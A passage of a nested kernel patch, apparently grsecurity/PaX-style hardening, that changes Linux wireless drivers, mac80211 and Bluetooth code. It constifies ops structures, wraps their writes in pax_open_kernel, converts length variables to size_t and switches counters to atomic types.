+-	ACCESS_ONCE(ads->ds_link) = i->link;
+-	ACCESS_ONCE(ads->ds_data) = i->buf_addr[0];
++	ACCESS_ONCE_RW(ads->ds_link) = i->link;
++	ACCESS_ONCE_RW(ads->ds_data) = i->buf_addr[0];
+ 
+ 	ctl1 = i->buf_len[0] | (i->is_last ? 0 : AR_TxMore);
+ 	ctl6 = SM(i->keytype, AR_EncrType);
+@@ -199,26 +199,26 @@ ar9002_set_txdesc(struct ath_hw *ah, voi
+ 
+ 	if ((i->is_first || i->is_last) &&
+ 	    i->aggr != AGGR_BUF_MIDDLE && i->aggr != AGGR_BUF_LAST) {
+-		ACCESS_ONCE(ads->ds_ctl2) = set11nTries(i->rates, 0)
++		ACCESS_ONCE_RW(ads->ds_ctl2) = set11nTries(i->rates, 0)
+ 			| set11nTries(i->rates, 1)
+ 			| set11nTries(i->rates, 2)
+ 			| set11nTries(i->rates, 3)
+ 			| (i->dur_update ? AR_DurUpdateEna : 0)
+ 			| SM(0, AR_BurstDur);
+ 
+-		ACCESS_ONCE(ads->ds_ctl3) = set11nRate(i->rates, 0)
++		ACCESS_ONCE_RW(ads->ds_ctl3) = set11nRate(i->rates, 0)
+ 			| set11nRate(i->rates, 1)
+ 			| set11nRate(i->rates, 2)
+ 			| set11nRate(i->rates, 3);
+ 	} else {
+-		ACCESS_ONCE(ads->ds_ctl2) = 0;
+-		ACCESS_ONCE(ads->ds_ctl3) = 0;
++		ACCESS_ONCE_RW(ads->ds_ctl2) = 0;
++		ACCESS_ONCE_RW(ads->ds_ctl3) = 0;
+ 	}
+ 
+ 	if (!i->is_first) {
+-		ACCESS_ONCE(ads->ds_ctl0) = 0;
+-		ACCESS_ONCE(ads->ds_ctl1) = ctl1;
+-		ACCESS_ONCE(ads->ds_ctl6) = ctl6;
++		ACCESS_ONCE_RW(ads->ds_ctl0) = 0;
++		ACCESS_ONCE_RW(ads->ds_ctl1) = ctl1;
++		ACCESS_ONCE_RW(ads->ds_ctl6) = ctl6;
+ 		return;
+ 	}
+ 
+@@ -243,7 +243,7 @@ ar9002_set_txdesc(struct ath_hw *ah, voi
+ 		break;
+ 	}
+ 
+-	ACCESS_ONCE(ads->ds_ctl0) = (i->pkt_len & AR_FrameLen)
++	ACCESS_ONCE_RW(ads->ds_ctl0) = (i->pkt_len & AR_FrameLen)
+ 		| (i->flags & ATH9K_TXDESC_VMF ? AR_VirtMoreFrag : 0)
+ 		| SM(i->txpower, AR_XmitPower)
+ 		| (i->flags & ATH9K_TXDESC_VEOL ? AR_VEOL : 0)
+@@ -253,19 +253,19 @@ ar9002_set_txdesc(struct ath_hw *ah, voi
+ 		| (i->flags & ATH9K_TXDESC_RTSENA ? AR_RTSEnable :
+ 		   (i->flags & ATH9K_TXDESC_CTSENA ? AR_CTSEnable : 0));
+ 
+-	ACCESS_ONCE(ads->ds_ctl1) = ctl1;
+-	ACCESS_ONCE(ads->ds_ctl6) = ctl6;
++	ACCESS_ONCE_RW(ads->ds_ctl1) = ctl1;
++	ACCESS_ONCE_RW(ads->ds_ctl6) = ctl6;
+ 
+ 	if (i->aggr == AGGR_BUF_MIDDLE || i->aggr == AGGR_BUF_LAST)
+ 		return;
+ 
+-	ACCESS_ONCE(ads->ds_ctl4) = set11nPktDurRTSCTS(i->rates, 0)
++	ACCESS_ONCE_RW(ads->ds_ctl4) = set11nPktDurRTSCTS(i->rates, 0)
+ 		| set11nPktDurRTSCTS(i->rates, 1);
+ 
+-	ACCESS_ONCE(ads->ds_ctl5) = set11nPktDurRTSCTS(i->rates, 2)
++	ACCESS_ONCE_RW(ads->ds_ctl5) = set11nPktDurRTSCTS(i->rates, 2)
+ 		| set11nPktDurRTSCTS(i->rates, 3);
+ 
+-	ACCESS_ONCE(ads->ds_ctl7) = set11nRateFlags(i->rates, 0)
++	ACCESS_ONCE_RW(ads->ds_ctl7) = set11nRateFlags(i->rates, 0)
+ 		| set11nRateFlags(i->rates, 1)
+ 		| set11nRateFlags(i->rates, 2)
+ 		| set11nRateFlags(i->rates, 3)
+--- drivers/net/wireless/ath/ath9k/ar9003_mac.c	2012-09-27 23:19:12.000000000 +0000
++++ drivers/net/wireless/ath/ath9k/ar9003_mac.c	2012-10-15 17:30:59.817924530 +0000
+@@ -39,47 +39,47 @@ ar9003_set_txdesc(struct ath_hw *ah, voi
+ 	      (i->qcu << AR_TxQcuNum_S) | desc_len;
+ 
+ 	checksum += val;
+-	ACCESS_ONCE(ads->info) = val;
++	ACCESS_ONCE_RW(ads->info) = val;
+ 
+ 	checksum += i->link;
+-	ACCESS_ONCE(ads->link) = i->link;
++	ACCESS_ONCE_RW(ads->link) = i->link;
+ 
+ 	checksum += i->buf_addr[0];
+-	ACCESS_ONCE(ads->data0) = i->buf_addr[0];
++	ACCESS_ONCE_RW(ads->data0) = i->buf_addr[0];
+ 	checksum += i->buf_addr[1];
+-	ACCESS_ONCE(ads->data1) = i->buf_addr[1];
++	ACCESS_ONCE_RW(ads->data1) = i->buf_addr[1];
+ 	checksum += i->buf_addr[2];
+-	ACCESS_ONCE(ads->data2) = i->buf_addr[2];
++	ACCESS_ONCE_RW(ads->data2) = i->buf_addr[2];
+ 	checksum += i->buf_addr[3];
+-	ACCESS_ONCE(ads->data3) = i->buf_addr[3];
++	ACCESS_ONCE_RW(ads->data3) = i->buf_addr[3];
+ 
+ 	checksum += (val = (i->buf_len[0] << AR_BufLen_S) & AR_BufLen);
+-	ACCESS_ONCE(ads->ctl3) = val;
++	ACCESS_ONCE_RW(ads->ctl3) = val;
+ 	checksum += (val = (i->buf_len[1] << AR_BufLen_S) & AR_BufLen);
+-	ACCESS_ONCE(ads->ctl5) = val;
++	ACCESS_ONCE_RW(ads->ctl5) = val;
+ 	checksum += (val = (i->buf_len[2] << AR_BufLen_S) & AR_BufLen);
+-	ACCESS_ONCE(ads->ctl7) = val;
++	ACCESS_ONCE_RW(ads->ctl7) = val;
+ 	checksum += (val = (i->buf_len[3] << AR_BufLen_S) & AR_BufLen);
+-	ACCESS_ONCE(ads->ctl9) = val;
++	ACCESS_ONCE_RW(ads->ctl9) = val;
+ 
+ 	checksum = (u16) (((checksum & 0xffff) + (checksum >> 16)) & 0xffff);
+-	ACCESS_ONCE(ads->ctl10) = checksum;
++	ACCESS_ONCE_RW(ads->ctl10) = checksum;
+ 
+ 	if (i->is_first || i->is_last) {
+-		ACCESS_ONCE(ads->ctl13) = set11nTries(i->rates, 0)
++		ACCESS_ONCE_RW(ads->ctl13) = set11nTries(i->rates, 0)
+ 			| set11nTries(i->rates, 1)
+ 			| set11nTries(i->rates, 2)
+ 			| set11nTries(i->rates, 3)
+ 			| (i->dur_update ? AR_DurUpdateEna : 0)
+ 			| SM(0, AR_BurstDur);
+ 
+-		ACCESS_ONCE(ads->ctl14) = set11nRate(i->rates, 0)
++		ACCESS_ONCE_RW(ads->ctl14) = set11nRate(i->rates, 0)
+ 			| set11nRate(i->rates, 1)
+ 			| set11nRate(i->rates, 2)
+ 			| set11nRate(i->rates, 3);
+ 	} else {
+-		ACCESS_ONCE(ads->ctl13) = 0;
+-		ACCESS_ONCE(ads->ctl14) = 0;
++		ACCESS_ONCE_RW(ads->ctl13) = 0;
++		ACCESS_ONCE_RW(ads->ctl14) = 0;
+ 	}
+ 
+ 	ads->ctl20 = 0;
+@@ -89,17 +89,17 @@ ar9003_set_txdesc(struct ath_hw *ah, voi
+ 
+ 	ctl17 = SM(i->keytype, AR_EncrType);
+ 	if (!i->is_first) {
+-		ACCESS_ONCE(ads->ctl11) = 0;
+-		ACCESS_ONCE(ads->ctl12) = i->is_last ? 0 : AR_TxMore;
+-		ACCESS_ONCE(ads->ctl15) = 0;
+-		ACCESS_ONCE(ads->ctl16) = 0;
+-		ACCESS_ONCE(ads->ctl17) = ctl17;
+-		ACCESS_ONCE(ads->ctl18) = 0;
+-		ACCESS_ONCE(ads->ctl19) = 0;
++		ACCESS_ONCE_RW(ads->ctl11) = 0;
++		ACCESS_ONCE_RW(ads->ctl12) = i->is_last ? 0 : AR_TxMore;
++		ACCESS_ONCE_RW(ads->ctl15) = 0;
++		ACCESS_ONCE_RW(ads->ctl16) = 0;
++		ACCESS_ONCE_RW(ads->ctl17) = ctl17;
++		ACCESS_ONCE_RW(ads->ctl18) = 0;
++		ACCESS_ONCE_RW(ads->ctl19) = 0;
+ 		return;
+ 	}
+ 
+-	ACCESS_ONCE(ads->ctl11) = (i->pkt_len & AR_FrameLen)
++	ACCESS_ONCE_RW(ads->ctl11) = (i->pkt_len & AR_FrameLen)
+ 		| (i->flags & ATH9K_TXDESC_VMF ? AR_VirtMoreFrag : 0)
+ 		| SM(i->txpower, AR_XmitPower)
+ 		| (i->flags & ATH9K_TXDESC_VEOL ? AR_VEOL : 0)
+@@ -135,22 +135,22 @@ ar9003_set_txdesc(struct ath_hw *ah, voi
+ 	val = (i->flags & ATH9K_TXDESC_PAPRD) >> ATH9K_TXDESC_PAPRD_S;
+ 	ctl12 |= SM(val, AR_PAPRDChainMask);
+ 
+-	ACCESS_ONCE(ads->ctl12) = ctl12;
+-	ACCESS_ONCE(ads->ctl17) = ctl17;
++	ACCESS_ONCE_RW(ads->ctl12) = ctl12;
++	ACCESS_ONCE_RW(ads->ctl17) = ctl17;
+ 
+-	ACCESS_ONCE(ads->ctl15) = set11nPktDurRTSCTS(i->rates, 0)
++	ACCESS_ONCE_RW(ads->ctl15) = set11nPktDurRTSCTS(i->rates, 0)
+ 		| set11nPktDurRTSCTS(i->rates, 1);
+ 
+-	ACCESS_ONCE(ads->ctl16) = set11nPktDurRTSCTS(i->rates, 2)
++	ACCESS_ONCE_RW(ads->ctl16) = set11nPktDurRTSCTS(i->rates, 2)
+ 		| set11nPktDurRTSCTS(i->rates, 3);
+ 
+-	ACCESS_ONCE(ads->ctl18) = set11nRateFlags(i->rates, 0)
++	ACCESS_ONCE_RW(ads->ctl18) = set11nRateFlags(i->rates, 0)
+ 		| set11nRateFlags(i->rates, 1)
+ 		| set11nRateFlags(i->rates, 2)
+ 		| set11nRateFlags(i->rates, 3)
+ 		| SM(i->rtscts_rate, AR_RTSCTSRate);
+ 
+-	ACCESS_ONCE(ads->ctl19) = AR_Not_Sounding;
++	ACCESS_ONCE_RW(ads->ctl19) = AR_Not_Sounding;
+ }
+ 
+ static u16 ar9003_calc_ptr_chksum(struct ar9003_txc *ads)
+--- drivers/net/wireless/ath/ath9k/hw.h	2012-09-27 23:19:12.000000000 +0000
++++ drivers/net/wireless/ath/ath9k/hw.h	2012-10-15 17:30:59.817924530 +0000
+@@ -657,7 +657,7 @@ struct ath_hw_private_ops {
+ 
+ 	/* ANI */
+ 	void (*ani_cache_ini_regs)(struct ath_hw *ah);
+-};
++} __no_const;
+ 
+ /**
+  * struct ath_hw_ops - callbacks used by hardware code and driver code
+@@ -687,7 +687,7 @@ struct ath_hw_ops {
+ 	void (*antdiv_comb_conf_set)(struct ath_hw *ah,
+ 			struct ath_hw_antcomb_conf *antconf);
+ 	void (*antctrl_shared_chain_lnadiv)(struct ath_hw *hw, bool enable);
+-};
++} __no_const;
+ 
+ struct ath_nf_limits {
+ 	s16 max;
+@@ -707,7 +707,7 @@ enum ath_cal_list {
+ #define AH_FASTCC       0x4
+ 
+ struct ath_hw {
+-	struct ath_ops reg_ops;
++	ath_ops_no_const reg_ops;
+ 
+ 	struct ieee80211_hw *hw;
+ 	struct ath_common common;
+--- drivers/net/wireless/brcm80211/brcmsmac/phy/phy_int.h	2012-09-27 23:19:11.000000000 +0000
++++ drivers/net/wireless/brcm80211/brcmsmac/phy/phy_int.h	2012-10-15 17:30:59.818924529 +0000
+@@ -545,7 +545,7 @@ struct phy_func_ptr {
+ 	void (*carrsuppr)(struct brcms_phy *);
+ 	s32 (*rxsigpwr)(struct brcms_phy *, s32);
+ 	void (*detach)(struct brcms_phy *);
+-};
++} __no_const;
+ 
+ struct brcms_phy {
+ 	struct brcms_phy_pub pubpi_ro;
+--- drivers/net/wireless/iwlegacy/3945-mac.c	2012-09-27 23:19:12.000000000 +0000
++++ drivers/net/wireless/iwlegacy/3945-mac.c	2012-10-15 17:30:59.819924529 +0000
+@@ -3613,7 +3613,9 @@ il3945_pci_probe(struct pci_dev *pdev, c
+ 	 */
+ 	if (il3945_mod_params.disable_hw_scan) {
+ 		D_INFO("Disabling hw_scan\n");
+-		il3945_mac_ops.hw_scan = NULL;
++		pax_open_kernel();
++		*(void **)&il3945_mac_ops.hw_scan = NULL;
++		pax_close_kernel();
+ 	}
+ 
+ 	D_INFO("*** LOAD DRIVER ***\n");
+--- drivers/net/wireless/iwlwifi/dvm/debugfs.c	2012-09-27 23:19:11.000000000 +0000
++++ drivers/net/wireless/iwlwifi/dvm/debugfs.c	2012-10-15 17:30:59.819924529 +0000
+@@ -203,7 +203,7 @@ static ssize_t iwl_dbgfs_sram_write(stru
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[64];
+-	int buf_size;
++	size_t buf_size;
+ 	u32 offset, len;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -473,7 +473,7 @@ static ssize_t iwl_dbgfs_rx_handlers_wri
+ 	struct iwl_priv *priv = file->private_data;
+ 
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	u32 reset_flag;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -554,7 +554,7 @@ static ssize_t iwl_dbgfs_disable_ht40_wr
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int ht40;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -606,7 +606,7 @@ static ssize_t iwl_dbgfs_sleep_level_ove
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int value;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -1871,7 +1871,7 @@ static ssize_t iwl_dbgfs_clear_ucode_sta
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int clear;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -1916,7 +1916,7 @@ static ssize_t iwl_dbgfs_ucode_tracing_w
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int trace;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -1987,7 +1987,7 @@ static ssize_t iwl_dbgfs_missed_beacon_w
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int missed;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -2028,7 +2028,7 @@ static ssize_t iwl_dbgfs_plcp_delta_writ
+ 
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int plcp;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -2088,7 +2088,7 @@ static ssize_t iwl_dbgfs_txfifo_flush_wr
+ 
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int flush;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -2178,7 +2178,7 @@ static ssize_t iwl_dbgfs_protection_mode
+ 
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int rts;
+ 
+ 	if (!priv->cfg->ht_params)
+@@ -2220,7 +2220,7 @@ static ssize_t iwl_dbgfs_echo_test_write
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 
+ 	memset(buf, 0, sizeof(buf));
+ 	buf_size = min(count, sizeof(buf) -  1);
+@@ -2256,7 +2256,7 @@ static ssize_t iwl_dbgfs_log_event_write
+ 	struct iwl_priv *priv = file->private_data;
+ 	u32 event_log_flag;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 
+ 	/* check that the interface is up */
+ 	if (!iwl_is_ready(priv))
+@@ -2310,7 +2310,7 @@ static ssize_t iwl_dbgfs_calib_disabled_
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+ 	u32 calib_disabled;
+-	int buf_size;
++	size_t buf_size;
+ 
+ 	memset(buf, 0, sizeof(buf));
+ 	buf_size = min(count, sizeof(buf) - 1);
+--- drivers/net/wireless/iwlwifi/pcie/trans.c	2012-09-27 23:19:12.000000000 +0000
++++ drivers/net/wireless/iwlwifi/pcie/trans.c	2012-10-15 17:30:59.820924530 +0000
+@@ -1944,7 +1944,7 @@ static ssize_t iwl_dbgfs_interrupt_write
+ 	struct isr_statistics *isr_stats = &trans_pcie->isr_stats;
+ 
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	u32 reset_flag;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -1965,7 +1965,7 @@ static ssize_t iwl_dbgfs_csr_write(struc
+ {
+ 	struct iwl_trans *trans = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int csr;
+ 
+ 	memset(buf, 0, sizeof(buf));
+--- drivers/net/wireless/mac80211_hwsim.c	2012-09-27 23:19:12.000000000 +0000
++++ drivers/net/wireless/mac80211_hwsim.c	2012-10-15 17:30:59.820924530 +0000
+@@ -1748,9 +1748,11 @@ static int __init init_mac80211_hwsim(vo
+ 		return -EINVAL;
+ 
+ 	if (fake_hw_scan) {
+-		mac80211_hwsim_ops.hw_scan = mac80211_hwsim_hw_scan;
+-		mac80211_hwsim_ops.sw_scan_start = NULL;
+-		mac80211_hwsim_ops.sw_scan_complete = NULL;
++		pax_open_kernel();
++		*(void **)&mac80211_hwsim_ops.hw_scan = mac80211_hwsim_hw_scan;
++		*(void **)&mac80211_hwsim_ops.sw_scan_start = NULL;
++		*(void **)&mac80211_hwsim_ops.sw_scan_complete = NULL;
++		pax_close_kernel();
+ 	}
+ 
+ 	spin_lock_init(&hwsim_radio_lock);
+--- drivers/net/wireless/mwifiex/main.h	2012-09-27 23:19:11.000000000 +0000
++++ drivers/net/wireless/mwifiex/main.h	2012-10-15 17:30:59.820924530 +0000
+@@ -571,7 +571,7 @@ struct mwifiex_if_ops {
+ 	int (*event_complete) (struct mwifiex_adapter *, struct sk_buff *);
+ 	int (*data_complete) (struct mwifiex_adapter *, struct sk_buff *);
+ 	int (*dnld_fw) (struct mwifiex_adapter *, struct mwifiex_fw_image *);
+-};
++} __no_const;
+ 
+ struct mwifiex_adapter {
+ 	u8 iface_type;
+--- drivers/net/wireless/rndis_wlan.c	2012-09-27 23:19:12.000000000 +0000
++++ drivers/net/wireless/rndis_wlan.c	2012-10-15 17:30:59.821924531 +0000
+@@ -1235,7 +1235,7 @@ static int set_rts_threshold(struct usbn
+ 
+ 	netdev_dbg(usbdev->net, "%s(): %i\n", __func__, rts_threshold);
+ 
+-	if (rts_threshold < 0 || rts_threshold > 2347)
++	if (rts_threshold > 2347)
+ 		rts_threshold = 2347;
+ 
+ 	tmp = cpu_to_le32(rts_threshold);
+--- drivers/net/wireless/rt2x00/rt2x00.h	2012-09-27 23:19:11.000000000 +0000
++++ drivers/net/wireless/rt2x00/rt2x00.h	2012-10-15 17:30:59.821924531 +0000
+@@ -397,7 +397,7 @@ struct rt2x00_intf {
+ 	 * for hardware which doesn't support hardware
+ 	 * sequence counting.
+ 	 */
+-	atomic_t seqno;
++	atomic_unchecked_t seqno;
+ };
+ 
+ static inline struct rt2x00_intf* vif_to_intf(struct ieee80211_vif *vif)
+--- drivers/net/wireless/rt2x00/rt2x00queue.c	2012-09-27 23:19:11.000000000 +0000
++++ drivers/net/wireless/rt2x00/rt2x00queue.c	2012-10-15 17:30:59.822924531 +0000
+@@ -240,9 +240,9 @@ static void rt2x00queue_create_tx_descri
+ 	 * sequence counter given by mac80211.
+ 	 */
+ 	if (test_bit(ENTRY_TXD_FIRST_FRAGMENT, &txdesc->flags))
+-		seqno = atomic_add_return(0x10, &intf->seqno);
++		seqno = atomic_add_return_unchecked(0x10, &intf->seqno);
+ 	else
+-		seqno = atomic_read(&intf->seqno);
++		seqno = atomic_read_unchecked(&intf->seqno);
+ 
+ 	hdr->seq_ctrl &= cpu_to_le16(IEEE80211_SCTL_FRAG);
+ 	hdr->seq_ctrl |= cpu_to_le16(seqno);
+--- drivers/net/wireless/ti/wl1251/wl1251.h	2012-09-27 23:19:11.000000000 +0000
++++ drivers/net/wireless/ti/wl1251/wl1251.h	2012-10-15 17:30:59.822924531 +0000
+@@ -266,7 +266,7 @@ struct wl1251_if_operations {
+ 	void (*reset)(struct wl1251 *wl);
+ 	void (*enable_irq)(struct wl1251 *wl);
+ 	void (*disable_irq)(struct wl1251 *wl);
+-};
++} __no_const;
+ 
+ struct wl1251 {
+ 	struct ieee80211_hw *hw;
+--- drivers/net/wireless/ti/wlcore/wlcore.h	2012-09-27 23:19:12.000000000 +0000
++++ drivers/net/wireless/ti/wlcore/wlcore.h	2012-10-15 17:30:59.822924531 +0000
+@@ -81,7 +81,7 @@ struct wlcore_ops {
+ 		       struct ieee80211_sta *sta,
+ 		       struct ieee80211_key_conf *key_conf);
+ 	u32 (*pre_pkt_send)(struct wl1271 *wl, u32 buf_offset, u32 last_len);
+-};
++} __no_const;
+ 
+ enum wlcore_partitions {
+ 	PART_DOWN,
+--- include/linux/unaligned/access_ok.h	2012-09-17 19:15:56.000000000 +0000
++++ include/linux/unaligned/access_ok.h	2012-10-15 17:30:59.823924531 +0000
+@@ -6,32 +6,32 @@
+ 
+ static inline u16 get_unaligned_le16(const void *p)
+ {
+-	return le16_to_cpup((__le16 *)p);
++	return le16_to_cpup((const __le16 *)p);
+ }
+ 
+ static inline u32 get_unaligned_le32(const void *p)
+ {
+-	return le32_to_cpup((__le32 *)p);
++	return le32_to_cpup((const __le32 *)p);
+ }
+ 
+ static inline u64 get_unaligned_le64(const void *p)
+ {
+-	return le64_to_cpup((__le64 *)p);
++	return le64_to_cpup((const __le64 *)p);
+ }
+ 
+ static inline u16 get_unaligned_be16(const void *p)
+ {
+-	return be16_to_cpup((__be16 *)p);
++	return be16_to_cpup((const __be16 *)p);
+ }
+ 
+ static inline u32 get_unaligned_be32(const void *p)
+ {
+-	return be32_to_cpup((__be32 *)p);
++	return be32_to_cpup((const __be32 *)p);
+ }
+ 
+ static inline u64 get_unaligned_be64(const void *p)
+ {
+-	return be64_to_cpup((__be64 *)p);
++	return be64_to_cpup((const __be64 *)p);
+ }
+ 
+ static inline void put_unaligned_le16(u16 val, void *p)
+--- net/bluetooth/hci_sock.c	2012-09-27 23:19:12.000000000 +0000
++++ net/bluetooth/hci_sock.c	2012-10-15 17:30:59.825924531 +0000
+@@ -940,7 +940,7 @@ static int hci_sock_setsockopt(struct so
+ 			uf.event_mask[1] = *((u32 *) f->event_mask + 1);
+ 		}
+ 
+-		len = min_t(unsigned int, len, sizeof(uf));
++		len = min((size_t)len, sizeof(uf));
+ 		if (copy_from_user(&uf, optval, len)) {
+ 			err = -EFAULT;
+ 			break;
+--- net/bluetooth/l2cap_core.c	2012-09-27 23:19:11.000000000 +0000
++++ net/bluetooth/l2cap_core.c	2012-10-15 17:30:59.825924531 +0000
+@@ -3165,8 +3165,10 @@ static int l2cap_parse_conf_rsp(struct l
+ 			break;
+ 
+ 		case L2CAP_CONF_RFC:
+-			if (olen == sizeof(rfc))
+-				memcpy(&rfc, (void *)val, olen);
++			if (olen != sizeof(rfc))
++				break;
++
++			memcpy(&rfc, (void *)val, olen);
+ 
+ 			if (test_bit(CONF_STATE2_DEVICE, &chan->conf_state) &&
+ 							rfc.mode != chan->mode)
+--- net/bluetooth/l2cap_sock.c	2012-09-27 23:19:12.000000000 +0000
++++ net/bluetooth/l2cap_sock.c	2012-10-15 17:30:59.826924531 +0000
+@@ -467,7 +467,8 @@ static int l2cap_sock_setsockopt_old(str
+ 	struct sock *sk = sock->sk;
+ 	struct l2cap_chan *chan = l2cap_pi(sk)->chan;
+ 	struct l2cap_options opts;
+-	int len, err = 0;
++	int err = 0;
++	size_t len = optlen;
+ 	u32 opt;
+ 
+ 	BT_DBG("sk %p", sk);
+@@ -489,7 +490,7 @@ static int l2cap_sock_setsockopt_old(str
+ 		opts.max_tx   = chan->max_tx;
+ 		opts.txwin_size = chan->tx_win;
+ 
+-		len = min_t(unsigned int, sizeof(opts), optlen);
++		len = min(sizeof(opts), len);
+ 		if (copy_from_user((char *) &opts, optval, len)) {
+ 			err = -EFAULT;
+ 			break;
+@@ -574,7 +575,8 @@ static int l2cap_sock_setsockopt(struct
+ 	struct bt_security sec;
+ 	struct bt_power pwr;
+ 	struct l2cap_conn *conn;
+-	int len, err = 0;
++	int err = 0;
++	size_t len = optlen;
+ 	u32 opt;
+ 
+ 	BT_DBG("sk %p", sk);
+@@ -597,7 +599,7 @@ static int l2cap_sock_setsockopt(struct
+ 
+ 		sec.level = BT_SECURITY_LOW;
+ 
+-		len = min_t(unsigned int, sizeof(sec), optlen);
++		len = min(sizeof(sec), len);
+ 		if (copy_from_user((char *) &sec, optval, len)) {
+ 			err = -EFAULT;
+ 			break;
+@@ -694,7 +696,7 @@ static int l2cap_sock_setsockopt(struct
+ 
+ 		pwr.force_active = BT_POWER_FORCE_ACTIVE_ON;
+ 
+-		len = min_t(unsigned int, sizeof(pwr), optlen);
++		len = min(sizeof(pwr), len);
+ 		if (copy_from_user((char *) &pwr, optval, len)) {
+ 			err = -EFAULT;
+ 			break;
+--- net/bluetooth/rfcomm/sock.c	2012-09-27 23:19:12.000000000 +0000
++++ net/bluetooth/rfcomm/sock.c	2012-10-15 17:30:59.826924531 +0000
+@@ -676,7 +676,7 @@ static int rfcomm_sock_setsockopt(struct
+ 	struct sock *sk = sock->sk;
+ 	struct bt_security sec;
+ 	int err = 0;
+-	size_t len;
++	size_t len = optlen;
+ 	u32 opt;
+ 
+ 	BT_DBG("sk %p", sk);
+@@ -698,7 +698,7 @@ static int rfcomm_sock_setsockopt(struct
+ 
+ 		sec.level = BT_SECURITY_LOW;
+ 
+-		len = min_t(unsigned int, sizeof(sec), optlen);
++		len = min(sizeof(sec), len);
+ 		if (copy_from_user((char *) &sec, optval, len)) {
+ 			err = -EFAULT;
+ 			break;
+--- net/bluetooth/rfcomm/tty.c	2012-09-27 23:19:12.000000000 +0000
++++ net/bluetooth/rfcomm/tty.c	2012-10-15 17:30:59.826924531 +0000
+@@ -309,7 +309,7 @@ static void rfcomm_dev_del(struct rfcomm
+ 	BUG_ON(test_and_set_bit(RFCOMM_TTY_RELEASED, &dev->flags));
+ 
+ 	spin_lock_irqsave(&dev->port.lock, flags);
+-	if (dev->port.count > 0) {
++	if (atomic_read(&dev->port.count) > 0) {
+ 		spin_unlock_irqrestore(&dev->port.lock, flags);
+ 		return;
+ 	}
+@@ -664,10 +664,10 @@ static int rfcomm_tty_open(struct tty_st
+ 		return -ENODEV;
+ 
+ 	BT_DBG("dev %p dst %s channel %d opened %d", dev, batostr(&dev->dst),
+-				dev->channel, dev->port.count);
++				dev->channel, atomic_read(&dev->port.count));
+ 
+ 	spin_lock_irqsave(&dev->port.lock, flags);
+-	if (++dev->port.count > 1) {
++	if (atomic_inc_return(&dev->port.count) > 1) {
+ 		spin_unlock_irqrestore(&dev->port.lock, flags);
+ 		return 0;
+ 	}
+@@ -736,10 +736,10 @@ static void rfcomm_tty_close(struct tty_
+ 		return;
+ 
+ 	BT_DBG("tty %p dev %p dlc %p opened %d", tty, dev, dev->dlc,
+-						dev->port.count);
++						atomic_read(&dev->port.count));
+ 
+ 	spin_lock_irqsave(&dev->port.lock, flags);
+-	if (!--dev->port.count) {
++	if (!atomic_dec_return(&dev->port.count)) {
+ 		spin_unlock_irqrestore(&dev->port.lock, flags);
+ 		if (dev->tty_dev->parent)
+ #if (LINUX_VERSION_CODE > KERNEL_VERSION(2,6,29))
+--- net/mac80211/ieee80211_i.h	2012-09-27 23:19:12.000000000 +0000
++++ net/mac80211/ieee80211_i.h	2012-10-15 17:30:59.827924531 +0000
+@@ -28,6 +28,7 @@
+ #include <net/ieee80211_radiotap.h>
+ #include <net/cfg80211.h>
+ #include <net/mac80211.h>
++#include <asm/local.h>
+ #include "key.h"
+ #include "sta_info.h"
+ #include "debug.h"
+@@ -840,7 +841,7 @@ struct ieee80211_local {
+ 	/* also used to protect ampdu_ac_queue and amdpu_ac_stop_refcnt */
+ 	spinlock_t queue_stop_reason_lock;
+ 
+-	int open_count;
++	local_t open_count;
+ 	int monitors, cooked_mntrs;
+ 	/* number of interfaces with corresponding FIF_ flags */
+ 	int fif_fcsfail, fif_plcpfail, fif_control, fif_other_bss, fif_pspoll,
+--- net/mac80211/iface.c	2012-09-27 23:19:12.000000000 +0000
++++ net/mac80211/iface.c	2012-10-15 17:30:59.827924531 +0000
+@@ -454,7 +454,7 @@ static int ieee80211_do_open(struct net_
+ 		break;
+ 	}
+ 
+-	if (local->open_count == 0) {
++	if (local_read(&local->open_count) == 0) {
+ 		res = drv_start(local);
+ 		if (res)
+ 			goto err_del_bss;
+@@ -497,7 +497,7 @@ static int ieee80211_do_open(struct net_
+ 			break;
+ 		}
+ 
+-		if (local->monitors == 0 && local->open_count == 0) {
++		if (local->monitors == 0 && local_read(&local->open_count) == 0) {
+ 			res = ieee80211_add_virtual_monitor(local);
+ 			if (res)
+ 				goto err_stop;
+@@ -594,7 +594,7 @@ static int ieee80211_do_open(struct net_
+ 	mutex_unlock(&local->mtx);
+ 
+ 	if (coming_up)
+-		local->open_count++;
++		local_inc(&local->open_count);
+ 
+ 	if (hw_reconf_flags)
+ 		ieee80211_hw_config(local, hw_reconf_flags);
